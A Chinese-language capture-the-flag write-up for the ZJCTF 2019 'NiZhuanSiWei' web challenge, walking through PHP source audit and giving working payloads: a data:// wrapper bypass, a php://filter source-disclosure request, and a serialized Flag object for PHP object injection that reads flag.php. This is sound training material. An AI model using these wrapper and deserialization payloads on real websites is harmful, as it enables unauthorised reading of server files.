[ZJCTF 2019]NiZhuanSiWei

Posted F1ght!!

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ZJCTF 2019]NiZhuanSiWei相关的知识,希望对你有一定的参考价值。

这才是一道,当时令人感觉到难度的题目:
如图:
在这里插入图片描述
典型的代码审计。

第一条,先从$text中读取文件内容。用php伪协议中的data或者input方法进行传入数据。

data伪协议:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

在这里插入图片描述
成功,接下来看:
在这里插入图片描述
利用php://filter:读取useless.php里的东西:

&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
base64解密得到:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

白嫖,搞不懂了:

似乎是暗示要将Flag()初始化:

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?>  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

序列化的结果如上:

最终得payload为:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

以上是关于[ZJCTF 2019]NiZhuanSiWei的主要内容,如果未能解决你的问题,请参考以下文章

[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

BUUCTF[ZJCTF 2019]NiZhuanSiWei

BUU-WEB-[ZJCTF 2019]NiZhuanSiWei

BUUCTF [ZJCTF 2019]NiZhuanSiWei